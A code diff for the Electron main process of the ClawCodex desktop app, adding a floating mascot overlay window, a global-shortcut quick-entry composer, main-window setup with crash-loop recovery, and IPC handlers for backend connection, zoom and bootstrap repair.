+let petOverlayWindow = null
+
+function petOverlayUrl() {
+  if (DEV_SERVER) {
+    return `${DEV_SERVER.endsWith('/') ? DEV_SERVER.slice(0, -1) : DEV_SERVER}/?win=overlay#/`
+  }
+
+  return `${pathToFileURL(resolveRendererIndex()).toString()}?win=overlay#/`
+}
+
+function spawnPetOverlayWindow(bounds) {
+  const win = new BrowserWindow({
+    width: Math.max(80, Math.round(bounds?.width || 220)),
+    height: Math.max(80, Math.round(bounds?.height || 220)),
+    x: Number.isFinite(bounds?.x) ? Math.round(bounds.x) : undefined,
+    y: Number.isFinite(bounds?.y) ? Math.round(bounds.y) : undefined,
+    frame: false,
+    transparent: true,
+    resizable: false,
+    movable: true,
+    minimizable: false,
+    maximizable: false,
+    fullscreenable: false,
+    // Windows/Linux need this so the helper window does not get its own
+    // taskbar/alt-tab entry. On macOS, cmd-tab is app-level and this can make
+    // the whole app look like it vanished when the only newly-created visible
+    // window is a frameless overlay. Use NSPanel + Mission Control hiding below
+    // instead, leaving the main ClawCodex app as the Dock/cmd-tab anchor.
+    skipTaskbar: !IS_MAC,
+    hasShadow: false,
+    alwaysOnTop: true,
+    // macOS panels are non-activating helper windows and can float over full
+    // screen spaces without becoming the app's main switcher window.
+    type: IS_MAC ? 'panel' : undefined,
+    hiddenInMissionControl: IS_MAC,
+    // Non-activating: the overlay must never become the app's key/main window,
+    // or it (a frameless, taskbar-skipping panel) becomes the app's switcher
+    // anchor and the ClawCodex icon drops out of cmd/alt-tab — especially when the
+    // main window is minimized. We flip this on only while the composer needs
+    // the keyboard (see clawcodex:pet-overlay:set-focusable).
+    focusable: false,
+    show: false,
+    // Fully transparent — the renderer paints only the sprite + bubble.
+    backgroundColor: '#00000000',
+    webPreferences: {
+      preload: PRELOAD_PATH,
+      contextIsolation: true,
+      sandbox: true,
+      nodeIntegration: false,
+      devTools: true,
+      // Keep the sprite animating + bubble updating while the main window is
+      // minimized/blurred — the whole point of the overlay.
+      backgroundThrottling: false
+    }
+  })
+
+  // Float above other apps and follow the user across desktops so the pet is
+  // always reachable. `floating` + `type: panel` is the macOS NSPanel path; the
+  // more aggressive `screen-saver` level can interfere with normal app/window
+  // switching semantics.
+  win.setAlwaysOnTop(true, IS_MAC ? 'floating' : 'screen-saver')
+  win.setHiddenInMissionControl?.(true)
+
+  try {
+    // Electron docs: macOS may transform process type on each
+    // setVisibleOnAllWorkspaces() call unless skipTransformProcessType=true,
+    // which briefly hides the Dock/cmd-tab presence. Keep ClawCodex in the normal
+    // ForegroundApplication class so shift-clicking the pet never drops the app
+    // out of app switchers.
+    win.setVisibleOnAllWorkspaces(
+      true,
+      IS_MAC ? { visibleOnFullScreen: true, skipTransformProcessType: true } : undefined
+    )
+  } catch {
+    // Not supported everywhere — best effort.
+  }
+
+  // Pet overlay opts out of global UI zoom (see zoomWiringForWindowKind): it
+  // owns its window-fit + scale, and inheriting zoom would crop the sprite.
+  wireCommonWindowHandlers(win, zoomWiringForWindowKind('petOverlay'))
+
+  win.once('ready-to-show', () => {
+    if (!win.isDestroyed()) {
+      win.showInactive()
+    }
+  })
+
+  win.on('closed', () => {
+    if (petOverlayWindow === win) {
+      petOverlayWindow = null
+    }
+
+    // If the overlay went away on its own (e.g. ⌘W), tell the main renderer to
+    // pop the pet back in so it doesn't stay hidden. Harmless echo when we're
+    // the ones who closed it (popInPet already cleared the active flag).
+    if (mainWindow && !mainWindow.isDestroyed()) {
+      mainWindow.webContents.send('clawcodex:pet-overlay:control', { type: 'pop-in' })
+    }
+  })
+
+  loadWindowUrl(win, petOverlayUrl(), 'Pet overlay')
+
+  return win
+}
+
+function openPetOverlay(bounds) {
+  if (petOverlayWindow && !petOverlayWindow.isDestroyed()) {
+    if (bounds) {
+      petOverlayWindow.setBounds({
+        x: Math.round(bounds.x),
+        y: Math.round(bounds.y),
+        width: Math.max(80, Math.round(bounds.width)),
+        height: Math.max(80, Math.round(bounds.height))
+      })
+    }
+
+    petOverlayWindow.showInactive()
+
+    return petOverlayWindow
+  }
+
+  petOverlayWindow = spawnPetOverlayWindow(bounds)
+
+  return petOverlayWindow
+}
+
+function closePetOverlay() {
+  if (petOverlayWindow && !petOverlayWindow.isDestroyed()) {
+    petOverlayWindow.close()
+  }
+
+  petOverlayWindow = null
+}
+
+// ── Quick Entry ─────────────────────────────────────────────────────────────
+//
+// A global shortcut summons a small frameless always-on-top composer from
+// anywhere, so a prompt can be fired without raising the whole app. The window
+// carries NO gateway connection: it hands its text to us, we forward it to the
+// PRIMARY renderer, and that renderer submits through the same prompt path the
+// normal composer uses (see store/quick-entry + hooks/use-quick-entry-bridge).
+//
+// Main owns the OS registration and the persisted preference (it must restore
+// the shortcut on a cold launch without the renderer ever visiting Settings),
+// same authority split as keep-awake. Registration failure is surfaced, never
+// swallowed: a chord another app already owns comes back as `error: 'taken'`.
+const QUICK_ENTRY_CONFIG_PATH = path.join(app.getPath('userData'), 'quick-entry.json')
+
+let quickEntryWindow = null
+
+// Latest state push from the primary renderer (connection + recent sessions),
+// replayed to a quick window that spawns after the push happened.
+let quickEntryLastState = null
+
+function readQuickEntrySettings() {
+  try {
+    return sanitizeQuickEntrySettings(JSON.parse(fs.readFileSync(QUICK_ENTRY_CONFIG_PATH, 'utf8')))
+  } catch {
+    // Missing / unreadable / malformed → shipped defaults (enabled, default chord).
+    return sanitizeQuickEntrySettings(undefined)
+  }
+}
+
+function writeQuickEntrySettings(settings) {
+  try {
+    fs.mkdirSync(path.dirname(QUICK_ENTRY_CONFIG_PATH), { recursive: true })
+    fs.writeFileSync(QUICK_ENTRY_CONFIG_PATH, JSON.stringify(settings, null, 2), 'utf8')
+  } catch (error) {
+    rememberLog(`[quick-entry] write failed: ${error.message}`)
+  }
+}
+
+function quickEntryUrl() {
+  if (DEV_SERVER) {
+    return `${DEV_SERVER.endsWith('/') ? DEV_SERVER.slice(0, -1) : DEV_SERVER}/?win=quick#/`
+  }
+
+  return `${pathToFileURL(resolveRendererIndex()).toString()}?win=quick#/`
+}
+
+function spawnQuickEntryWindow() {
+  const cursor = screen.getCursorScreenPoint()
+  const display = screen.getDisplayNearestPoint(cursor)
+  const bounds = quickEntryWindowBounds(display?.workArea)
+
+  const win = new BrowserWindow({
+    ...bounds,
+    frame: false,
+    transparent: true,
+    resizable: false,
+    movable: true,
+    minimizable: false,
+    maximizable: false,
+    fullscreenable: false,
+    // Same rationale as the pet overlay: on Windows/Linux keep the helper out
+    // of the taskbar/alt-tab list; on macOS use an NSPanel so the frameless
+    // capture window never becomes the app's cmd-tab anchor.
+    skipTaskbar: !IS_MAC,
+    hasShadow: true,
+    alwaysOnTop: true,
+    type: IS_MAC ? 'panel' : undefined,
+    hiddenInMissionControl: IS_MAC,
+    show: false,
+    backgroundColor: '#00000000',
+    webPreferences: {
+      preload: PRELOAD_PATH,
+      contextIsolation: true,
+      sandbox: true,
+      nodeIntegration: false,
+      devTools: true
+    }
+  })
+
+  win.setAlwaysOnTop(true, IS_MAC ? 'floating' : 'screen-saver')
+  win.setHiddenInMissionControl?.(true)
+
+  try {
+    win.setVisibleOnAllWorkspaces(
+      true,
+      IS_MAC ? { visibleOnFullScreen: true, skipTransformProcessType: true } : undefined
+    )
+  } catch {
+    // Not supported everywhere — best effort.
+  }
+
+  // Opts out of global UI zoom for the same reason as the pet overlay: it sizes
+  // its own OS window and a zoomed composer would overflow it.
+  wireCommonWindowHandlers(win, zoomWiringForWindowKind('quickEntry'))
+
+  // Hide on blur. The window must never hold the user's focus captive — losing
+  // focus is the cheapest, least surprising dismiss (matches Spotlight).
+  win.on('blur', () => {
+    if (!win.isDestroyed()) {
+      win.hide()
+    }
+  })
+
+  win.on('closed', () => {
+    if (quickEntryWindow === win) {
+      quickEntryWindow = null
+    }
+  })
+
+  // Replay the last known gateway state as soon as the page can hear it — a
+  // freshly spawned quick window must not sit "disconnected" when the primary
+  // renderer already reported a live gateway.
+  win.webContents.on('did-finish-load', () => {
+    if (!win.isDestroyed() && quickEntryLastState) {
+      win.webContents.send('clawcodex:quick-entry:state', quickEntryLastState)
+    }
+  })
+
+  loadWindowUrl(win, quickEntryUrl(), 'Quick entry')
+
+  return win
+}
+
+// Move the (already-open) window to the display the cursor is on, so the chord
+// summons it where the user is looking rather than where they last were.
+function repositionQuickEntryWindow(win) {
+  try {
+    const display = screen.getDisplayNearestPoint(screen.getCursorScreenPoint())
+    win.setBounds(quickEntryWindowBounds(display?.workArea))
+  } catch (error) {
+    rememberLog(`[quick-entry] reposition failed: ${error.message}`)
+  }
+}
+
+function showQuickEntryWindow() {
+  if (!quickEntryWindow || quickEntryWindow.isDestroyed()) {
+    quickEntryWindow = spawnQuickEntryWindow()
+    quickEntryWindow.once('ready-to-show', () => {
+      if (!quickEntryWindow?.isDestroyed()) {
+        quickEntryWindow.show()
+        quickEntryWindow.focus()
+      }
+    })
+
+    return
+  }
+
+  repositionQuickEntryWindow(quickEntryWindow)
+  quickEntryWindow.show()
+  quickEntryWindow.focus()
+  // Re-summoned: tell the renderer to clear any stale draft and refocus.
+  quickEntryWindow.webContents.send('clawcodex:quick-entry:shown')
+}
+
+function hideQuickEntryWindow() {
+  if (quickEntryWindow && !quickEntryWindow.isDestroyed()) {
+    quickEntryWindow.hide()
+  }
+}
+
+// The chord toggles: pressing it while the composer is up puts it away, so one
+// gesture does exactly one thing in both directions.
+function toggleQuickEntryWindow() {
+  if (quickEntryWindow && !quickEntryWindow.isDestroyed() && quickEntryWindow.isVisible()) {
+    hideQuickEntryWindow()
+
+    return
+  }
+
+  showQuickEntryWindow()
+}
+
+const quickEntryShortcut = createQuickEntryShortcut(globalShortcut, toggleQuickEntryWindow)
+
+function applyQuickEntrySettings(settings) {
+  const state = quickEntryShortcut.apply(settings)
+
+  if (!settings.enabled) {
+    // Turning the feature off must not leave an orphan always-on-top window.
+    if (quickEntryWindow && !quickEntryWindow.isDestroyed()) {
+      quickEntryWindow.close()
+    }
+
+    quickEntryWindow = null
+  }
+
+  if (state.error === 'taken') {
+    rememberLog(`[quick-entry] shortcut ${state.shortcut} is already taken by another application`)
+  } else if (state.error === 'invalid') {
+    rememberLog(`[quick-entry] shortcut ${state.shortcut} is not a valid accelerator`)
+  }
+
+  return { ...state, enabled: settings.enabled }
+}
+
+function closeQuickEntryWindow() {
+  quickEntryShortcut.dispose()
+
+  if (quickEntryWindow && !quickEntryWindow.isDestroyed()) {
+    quickEntryWindow.close()
+  }
+
+  quickEntryWindow = null
+}
+
+function createWindow() {
+  const icon = getAppIconPath()
+  const savedWindowState = readWindowState()
+  mainWindow = new BrowserWindow({
+    ...computeWindowOptions(savedWindowState, screen.getAllDisplays()),
+    minWidth: WINDOW_MIN_WIDTH,
+    minHeight: WINDOW_MIN_HEIGHT,
+    title: 'ClawCodex',
+    // Frameless title bar on every platform so the renderer can paint the
+    // "hide sidebar" button (and other left-side titlebar tools) flush with
+    // the top edge — matching the macOS layout where the traffic lights sit
+    // inside the same band. On Windows/Linux, titleBarOverlay tells Electron
+    // to paint native min/max/close in the top-right of the renderer; on
+    // macOS it just reserves a content inset alongside the traffic lights.
+    titleBarStyle: 'hidden',
+    titleBarOverlay: getTitleBarOverlayOptions(),
+    trafficLightPosition: IS_MAC ? WINDOW_BUTTON_POSITION : undefined,
+    vibrancy: IS_MAC ? 'sidebar' : undefined,
+    opacity: windowOpacity(),
+    icon,
+    // Hidden until the first themed paint so macOS `vibrancy` (which ignores
+    // `backgroundColor` and follows the OS appearance) can't flash a light
+    // material before the renderer paints the app theme. See createSessionWindow.
+    show: false,
+    backgroundColor: getWindowBackgroundColor(),
+    // Shared with the secondary session windows (chatWindowWebPreferences);
+    // stream-aware throttling is applied per-window via streamThrottle so a
+    // live answer keeps painting while the window is blurred or minimized,
+    // without pinning visibilityState to 'visible' at idle. See
+    // session-windows.ts and stream-throttle.ts.
+    webPreferences: chatWindowWebPreferences(PRELOAD_PATH)
+  })
+
+  if (IS_MAC) {
+    mainWindow.setWindowButtonPosition?.(WINDOW_BUTTON_POSITION)
+
+    if (icon) {
+      app.dock?.setIcon(icon)
+    }
+  }
+
+  if (!IS_MAC) {
+    if (!nativeThemeListenerInstalled) {
+      nativeThemeListenerInstalled = true
+      nativeTheme.on('updated', () => {
+        for (const win of BrowserWindow.getAllWindows()) {
+          applyTitleBarOverlay(win)
+        }
+      })
+    }
+  }
+
+  if (savedWindowState?.isMaximized) {
+    mainWindow.maximize()
+  }
+
+  mainWindow.once('ready-to-show', () => {
+    if (mainWindow && !mainWindow.isDestroyed()) {
+      mainWindow.show()
+    }
+
+    // Persist geometry as soon as the window is visible so a crash before the
+    // first clean resize/move/close still captures the restored bounds (#56726).
+    schedulePersistWindowState()
+
+    // #38216: clear the mid-boot marker only after a window is actually usable.
+    // Keep sticky `fallback` when we launched with --no-sandbox so the next
+    // Start Menu click does not re-enter the GPU FATAL crash loop. The marker
+    // records the app version so the next update re-probes the sandbox.
+    if (IS_WINDOWS) {
+      try {
+        writeSandboxMarker(
+          app.getPath('userData'),
+          markerAfterSuccessfulBoot({
+            fallbackActive: windowsSandboxFallbackSticky,
+            reason: windowsSandboxFallbackReason,
+            appVersion: app.getVersion()
+          })
+        )
+      } catch (error) {
+        rememberLog(`[sandbox] marker update after ready-to-show failed: ${error?.message || error}`)
+      }
+    }
+  })
+
+  // Under Playright testing, instantly show the window.
+  // `ready-to-show` doesn't fire in some testing envs.
+  if (process.env.TEST_WORKER_INDEX !== undefined) {
+    if (mainWindow && !mainWindow.isDestroyed() && !mainWindow.isVisible()) {
+      mainWindow.show()
+    }
+  }
+
+  mainWindow.on('will-enter-full-screen', () => sendWindowStateChanged(true))
+  mainWindow.on('enter-full-screen', () => sendWindowStateChanged(true))
+  mainWindow.on('will-leave-full-screen', () => sendWindowStateChanged(false))
+  mainWindow.on('leave-full-screen', () => sendWindowStateChanged(false))
+  mainWindow.on('minimize', () => sendWindowStateChanged())
+  mainWindow.on('restore', () => sendWindowStateChanged())
+  mainWindow.on('hide', () => sendWindowStateChanged())
+  mainWindow.on('show', () => sendWindowStateChanged())
+
+  // Reopen where the user left off. resized/moved settle once per drag; close is
+  // the cross-platform backstop, flushed synchronously before the window is gone.
+  mainWindow.on('resized', schedulePersistWindowState)
+  mainWindow.on('moved', schedulePersistWindowState)
+  mainWindow.on('maximize', schedulePersistWindowState)
+  mainWindow.on('unmaximize', schedulePersistWindowState)
+  mainWindow.on('close', () => schedulePersistWindowState.flush())
+
+  // the closed wrapper remains truthy, so clear only the window this callback owns.
+  const createdMainWindow = mainWindow
+  mainWindow.on('closed', () => {
+    closePetOverlay()
+    wakeIndicatorController.close()
+
+    if (mainWindow === createdMainWindow) {
+      mainWindow = null
+      // the replacement renderer must register before queued links can be delivered.
+      _rendererReadyForDeepLink = false
+    }
+  })
+
+  streamThrottle.register(mainWindow)
+  wireCommonWindowHandlers(mainWindow, zoomWiringForWindowKind('chat'))
+
+  mainWindow.webContents.on('render-process-gone', (_event, details) => {
+    rememberLog(`[renderer] render-process-gone reason=${details?.reason} exitCode=${details?.exitCode}`)
+
+    if (details?.reason === 'crashed' || details?.reason === 'oom') {
+      const now = Date.now()
+      rendererReloadTimes = rendererReloadTimes.filter(t => now - t < RENDERER_RELOAD_WINDOW_MS)
+
+      if (rendererReloadTimes.length >= RENDERER_RELOAD_MAX) {
+        rememberLog(
+          `[renderer] suppressing reload: ${rendererReloadTimes.length} crashes within ${RENDERER_RELOAD_WINDOW_MS}ms (likely a crash loop)`
+        )
+
+        // #38216 renderer flavor (same recovery as #56726, credit @Sahil-SS9):
+        // a deterministic Windows renderer crash loop with the sandbox
+        // breakpoint signature gets one --no-sandbox relaunch instead of a
+        // dead window. Gated on the exit code so unrelated crash loops don't
+        // silently drop the sandbox.
+        if (
+          shouldRelaunchForRendererSandboxCrashLoop({
+            reason: details?.reason,
+            exitCode: details?.exitCode,
+            alreadyNoSandbox: windowsSandboxFallbackActive || alreadyHasNoSandbox(process.argv, process.env),
+            relaunchAttempted: windowsNoSandboxRelaunchAttempted
+          })
+        ) {
+          windowsNoSandboxRelaunchAttempted = true
+          windowsSandboxFallbackActive = true
+          windowsSandboxFallbackSticky = true
+          windowsSandboxFallbackReason = 'renderer-crash-loop'
+
+          try {
+            writeSandboxMarker(app.getPath('userData'), fallbackMarker('renderer-crash-loop', app.getVersion()))
+          } catch {
+            void 0
+          }
+
+          rememberLog('[renderer] Windows sandbox crash loop detected; relaunching once with --no-sandbox (#38216)')
+
+          try {
+            app.relaunch({ args: buildNoSandboxRelaunchArgs(process.argv.slice(1)) })
+            app.exit(0)
+          } catch (err) {
+            rememberLog(`[renderer] --no-sandbox relaunch failed: ${err?.message || err}`)
+          }
+        }
+
+        return
+      }
+
+      rendererReloadTimes.push(now)
+      setImmediate(() => {
+        if (!mainWindow || mainWindow.isDestroyed()) {
+          return
+        }
+
+        try {
+          mainWindow.webContents.reload()
+        } catch (err) {
+          rememberLog(`[renderer] reload after crash failed: ${err?.message || err}`)
+        }
+      })
+    }
+  })
+
+  mainWindow.webContents.on('unresponsive', () => rememberLog('[renderer] webContents became unresponsive'))
+
+  // Electron always passes the event first. The canonical (Electron 36+) shape
+  // is (event, messageDetails); the deprecated positional shape is
+  // (event, level, message, line, sourceId). Handle both. `level` is numeric
+  // (0..3), where 3 === error.
+  mainWindow.webContents.on('console-message', (_event, detailsOrLevel, message, line, sourceId) => {
+    const details = detailsOrLevel && typeof detailsOrLevel === 'object' ? detailsOrLevel : null
+    const level = details ? details.level : detailsOrLevel
+
+    if (level !== 3) {
+      return
+    }
+
+    const text = details ? details.message : message
+    const src = details ? details.sourceUrl : sourceId
+    const lineNo = details ? details.lineNumber : line
+    rememberLog(`[renderer console] ${text} (${src}:${lineNo})`)
+  })
+
+  loadWindowUrl(mainWindow, DEV_SERVER || pathToFileURL(resolveRendererIndex()).toString(), 'Renderer')
+
+  // Start the Python backend NOW, in parallel with the renderer load — not on
+  // did-finish-load. The backend cold boot (spawn → port announce → /api/status)
+  // is the dominant startup cost, and serializing it behind Chromium's load
+  // added the whole renderer load time to first-usable-composer. The promise is
+  // shared (backendConnectionState), so the renderer's getConnection() joins
+  // this in-flight boot instead of duplicating it; early boot-progress events
+  // the renderer misses are recovered by its getBootProgress() pull on mount.
+  startClawCodex().catch(error => rememberLog(error.stack || error.message))
+
+  mainWindow.webContents.once('did-finish-load', () => {
+    // Zoom restore is handled by wireCommonWindowHandlers (shared with session
+    // windows); no need to reapply it here.
+    broadcastBootProgress()
+    sendWindowStateChanged()
+  })
+}
+
+ipcMain.handle('clawcodex:connection', async (_event, profile) => ensureBackend(profile))
+// Reconnect-after-wake recovery. A REMOTE primary backend has no child process,
+// so the 'exit'/'error' handlers that would clear a dead connection promise never
+// fire — once the remote becomes unreachable across a sleep/wake the renderer
+// re-dials the same dead descriptor forever and the composer stays stuck on
+// "Starting ClawCodex…". Before the renderer's backoff loop reconnects, it asks us
+// to confirm the cached PRIMARY backend is still reachable; if a remote one is
+// not, we drop the cache so the next getConnection() rebuilds it. Local backends
+// self-heal via their child 'exit' handler, so we never touch them here.
+ipcMain.handle('clawcodex:connection:revalidate', async () => {
+  const connectionPromise = backendConnectionState.getPromise()
+
+  if (!connectionPromise) {
+    await revalidatePool()
+
+    return { ok: true, rebuilt: false }
+  }
+
+  // Main and every session pop-out have their own renderer reconnect loop but
+  // share this primary connection. Coalesce simultaneous requests so one outage
+  // produces one failure observation rather than exhausting the whole streak.
+  return remoteRevalidation.run(connectionPromise, async () => {
+    const [result] = await Promise.all([
+      revalidateRemoteConnection({
+        connectionPromise,
+        currentConnectionPromise: () => backendConnectionState.getPromise(),
+        log: rememberLog,
+        probe: fetchPublicJson,
+        resetConnection: resetClawCodexConnection,
+        tracker: remoteLiveness
+      }),
+      revalidatePool()
+    ])
+
+    // A rebuilt SSH connection must also tear down its tunnel/master before the
+    // renderer re-dials (which only happens after this handler resolves), so the
+    // fresh bootstrap can't reattach to a dying transport.
+    if (result.rebuilt) {
+      const conn = await connectionPromise.catch(() => null)
+
+      if (conn?.remoteKind === 'ssh') {
+        const profile = primaryProfileKey()
+        await sshBootstrapCoordinator.cancelAndWait(sshScopeKey(profile))
+        await teardownSshConnection(profile)
+      }
+    }
+
+    return result
+  })
+})
+
+// Pooled remote descriptors get the same treatment as the primary: they have no
+// child process to signal their host's death, and the renderer's keepalive touch
+// spares them from the idle reaper, so nothing else can retire a dead one.
+function revalidatePool() {
+  return revalidatePooledRemoteBackends({
+    entries: backendPool.entries(),
+    log: rememberLog,
+    probe: fetchPublicJson,
+    stopBackend: stopPoolBackend,
+    tracker: remoteLiveness
+  })
+}
+
+ipcMain.handle('clawcodex:backend:touch', async (_event, profile) => {
+  touchPoolBackend(profile)
+
+  return { ok: true }
+})
+ipcMain.handle('clawcodex:gateway:ws-url', async (_event, profile) => {
+  return gatewayWsUrlIpcResult(() => freshGatewayWsUrl(profile))
+})
+ipcMain.handle('clawcodex:window:openSession', async (_event, sessionId, opts) => {
+  if (typeof sessionId !== 'string' || !sessionId.trim()) {
+    return { ok: false, error: 'invalid-session-id' }
+  }
+
+  createSessionWindow(sessionId.trim(), { watch: opts?.watch === true })
+
+  return { ok: true }
+})
+ipcMain.handle('clawcodex:window:openInstance', async () => {
+  createInstanceWindow()
+
+  return { ok: true }
+})
+ipcMain.handle('clawcodex:wake-indicator:get', () => wakeIndicatorController.getState())
+ipcMain.on('clawcodex:wake-indicator:set', (_event, state) => {
+  wakeIndicatorController.setState(state)
+})
+
+// --- Text size (zoom) -------------------------------------------------------
+// The settings UI drives the same clamped zoom scale as the Ctrl/Cmd
+// shortcuts and the View menu. Reads and writes target the asking window.
+ipcMain.handle('clawcodex:zoom:get', event => {
+  const window = BrowserWindow.fromWebContents(event.sender)
+
+  const level = window && !window.isDestroyed() ? window.webContents.getZoomLevel() : DEFAULT_ZOOM_LEVEL
+
+  return { level, percent: zoomLevelToPercent(level) }
+})
+ipcMain.on('clawcodex:zoom:set-percent', (event, percent) => {
+  const window = BrowserWindow.fromWebContents(event.sender)
+
+  if (!window || window.isDestroyed()) {
+    return
+  }
+
+  setAndPersistZoomLevel(window, percentToZoomLevel(Number(percent)))
+})
+
+// --- Pet overlay (pop-out mascot) -----------------------------------------
+// `request` is `{ bounds, screen }`. A fresh pop-out passes viewport-space
+// bounds (screen=false): convert to screen space by adding the main window's
+// content origin so the pet lands where it sat in-window. A remembered/dragged
+// spot passes screen-space bounds (screen=true) and is used as-is. We return the
+// resolved screen bounds so the renderer can persist exactly where it opened.
+ipcMain.handle('clawcodex:pet-overlay:open', async (_event, request) => {
+  const bounds = request && request.bounds ? request.bounds : request
+  const isScreen = Boolean(request && request.screen)
+  let screenBounds = bounds
+
+  try {
+    if (bounds && !isScreen && mainWindow && !mainWindow.isDestroyed()) {
+      const content = mainWindow.getContentBounds()
+      screenBounds = {
+        x: content.x + (bounds.x || 0),
+        y: content.y + (bounds.y || 0),
+        width: bounds.width,
+        height: bounds.height
+      }
+    }
+  } catch {
+    // Fall back to raw bounds if the window geometry is unavailable.
+  }
+
+  openPetOverlay(screenBounds)
+
+  return { ok: true, bounds: screenBounds }
+})
+ipcMain.handle('clawcodex:pet-overlay:close', async () => {
+  closePetOverlay()
+
+  return { ok: true }
+})
+// Drag/resize: the overlay reports new absolute screen bounds (it already knows
+// the pointer's screen coords). Drag keeps the size constant; the wheel-to-scale
+// gesture grows/shrinks it so the sprite is never cropped by the window edge.
+// The window is created non-resizable (no stray edge-drag on the transparent
+// frameless panel), which on Windows/Linux also blocks programmatic setBounds
+// sizing — so briefly flip resizable on whenever the size actually changes.
+ipcMain.on('clawcodex:pet-overlay:set-bounds', (_event, bounds) => {
+  if (!petOverlayWindow || petOverlayWindow.isDestroyed() || !bounds) {
+    return
+  }
+
+  const win = petOverlayWindow
+  const width = Math.max(80, Math.round(bounds.width))
+  const height = Math.max(80, Math.round(bounds.height))
+  const [curW, curH] = win.getSize()
+  const resizing = width !== curW || height !== curH
+
+  if (resizing && !win.isResizable()) {
+    win.setResizable(true)
+  }
+
+  win.setBounds({ x: Math.round(bounds.x), y: Math.round(bounds.y), width, height })
+
+  if (resizing) {
+    win.setResizable(false)
+  }
+})
+// Click-through: the overlay window is a full rectangle but only the pet pixels
+// should be interactive. The renderer toggles this as the cursor enters/leaves
+// the sprite so transparent margins pass clicks to whatever is behind.
+ipcMain.on('clawcodex:pet-overlay:ignore-mouse', (_event, ignore) => {
+  if (petOverlayWindow && !petOverlayWindow.isDestroyed()) {
+    petOverlayWindow.setIgnoreMouseEvents(Boolean(ignore), { forward: true })
+  }
+})
+// The overlay is a non-activating panel (focusable:false) so it never steals
+// the app's cmd/alt-tab anchor from the main window. But the pop-up composer
+// needs the keyboard, so the renderer asks us to flip it focusable + focus it
+// while the composer is open, then back to non-activating when it closes.
+ipcMain.on('clawcodex:pet-overlay:set-focusable', (_event, focusable) => {
+  if (!petOverlayWindow || petOverlayWindow.isDestroyed()) {
+    return
+  }
+
+  petOverlayWindow.setFocusable(Boolean(focusable))
+
+  if (focusable) {
+    petOverlayWindow.focus()
+  }
+})
+// Main renderer → overlay: forward the latest pet state for the overlay to render.
+ipcMain.on('clawcodex:pet-overlay:state', (_event, payload) => {
+  if (petOverlayWindow && !petOverlayWindow.isDestroyed()) {
+    petOverlayWindow.webContents.send('clawcodex:pet-overlay:state', payload)
+  }
+})
+// Overlay → main renderer: control messages (pop back in, composer submit).
+ipcMain.on('clawcodex:pet-overlay:control', (_event, payload) => {
+  if (!mainWindow || mainWindow.isDestroyed()) {
+    return
+  }
+
+  // Double-click toggles the app window: hide it away if it's up front, bring it
+  // back if it's minimized/buried. Pure window control — nothing for the
+  // renderer to do, so don't forward it.
+  if (payload && payload.type === 'toggle-app') {
+    if (mainWindow.isMinimized() || !mainWindow.isVisible()) {
+      mainWindow.show()
+      mainWindow.focus()
+    } else {
+      mainWindow.minimize()
+    }
+
+    return
+  }
+
+  // The mail icon means "take me to the app": raise the main window (it may be
+  // minimized or buried) before the renderer navigates to the latest thread.
+  if (payload && payload.type === 'open-app') {
+    if (mainWindow.isMinimized()) {
+      mainWindow.restore()
+    }
+
+    mainWindow.show()
+    mainWindow.focus()
+  }
+
+  mainWindow.webContents.send('clawcodex:pet-overlay:control', payload)
+})
+ipcMain.handle('clawcodex:bootstrap:reset', async () => {
+  // Renderer's "Reload and retry" path. Clear the latched failure and
+  // reset connection state so the next startClawCodex() call restarts the
+  // full backend flow (including a fresh runBootstrap pass).
+  rememberLog('[bootstrap] reset requested by renderer; clearing latched failure')
+  await teardownPrimaryBackendAndWait()
+  bootstrapFailure = null
+  backendStartFailure = null
+  remoteReauthFailure = null
+  getFirstRunSetupGate().resetForRetry()
+  resetBootstrapSnapshot()
+
+  return { ok: true }
+})
+ipcMain.handle('clawcodex:bootstrap:repair', async () => {
+  // Forceful repair: force the next startClawCodex() through the full installer
+  // (refreshing a broken/partial venv) and clear any latched failure + live
+  // connection. The renderer reloads afterwards to re-drive the boot flow.
+  //
+  // We do NOT delete the bootstrap marker here. Repair is also reachable from
+  // transient backend errors on a perfectly healthy install, and deleting the
+  // marker in that case stranded the app in first-run setup with no way back
+  // (#72166). The explicit flag carries the intent instead.
+  bootstrapRepairAttempt += 1
+
+  // Probe the live backend process so the guard can distinguish "venv is
+  // genuinely broken" (force reinstall) from "backend is just transiently
+  // stalled under GIL pressure" (#74874 — `event loop stalled` followed by
+  // `ws ready frame send failed`, then renderer keeps reporting dead).
+  const primaryProc = backendConnectionState.getProcess()
+
+  const primaryBackendAlive = Boolean(
+    primaryProc &&
+    (primaryProc as { exitCode?: number | null }).exitCode === null &&
+    (primaryProc as { signalCode?: string | null }).signalCode === null
+  )
+
+  const repairDecision = decideBootstrapRepair({
+    attempt: bootstrapRepairAttempt,
+    maxSoftAttempts: MAX_BOOTSTRAP_REPAIR_SOFT_ATTEMPTS,
+    primaryBackendAlive
+  })
+
+  rememberLog(
+    `[bootstrap] repair requested by renderer; forcing reinstall + clearing latched failure ` +
+      `(attempt=${repairDecision.attempt}/${MAX_BOOTSTRAP_REPAIR_SOFT_ATTEMPTS}, ` +
+      `primaryBackendAlive=${primaryBackendAlive}, ` +
+      `hardReinstall=${repairDecision.hardReinstall}): ${repairDecision.reason}`
+  )
+
+  // The guard may decide the install is healthy enough that a restart
+  // (without touching the venv) is the right answer. Translate that into
+  // the existing flag: if the guard said "soft restart", we skip the
+  // "bypass active runtime" path inside startClawCodex() and fall through
+  // to the normal restart branch, which just kills the current child
+  // and respawns it against the same venv. See #74874 — this is what
+  // breaks the infinite reinstall loop the user hit.
+  bootstrapRepairRequested = repairDecision.hardReinstall
+  bootstrapFailure = null
+  backendStartFailure = null
+  remoteReauthFailure = null
+  getFirstRunSetupGate().resetForRepair()
+  resetClawCodexConnection()
+
+  return { ok: true }
+})
+ipcMain.handle('clawcodex:bootstrap:continue-local', async () => {
+  rememberLog('[bootstrap] local install selected by renderer; continuing first-launch bootstrap')
+  continueFirstRunLocalBootstrap()
+
+  return { ok: true }
+})
+ipcMain.handle('clawcodex:bootstrap:cancel', async () => {
+  // Renderer's Cancel button during first-launch install. Abort the running
+  // install script (SIGTERM via the runner's abortSignal). runBootstrap
+  // resolves with { cancelled: true }, which surfaces the recovery overlay.
+  if (bootstrapAbortController) {
+    try {
+      bootstrapAbortController.abort()
+    } catch {
+      void 0
+    }
+
+    return { ok: true, cancelled: true }
+  }
+
+  return { ok: false, cancelled: false }
+})
+ipcMain.handle('clawcodex:boot-progress:get', async () => bootProgressState)
+ipcMain.handle('clawcodex:bootstrap:get', async () => getBootstrapState())
+ipcMain.handle('clawcodex:connection-config:get', async (_event, profile) =>
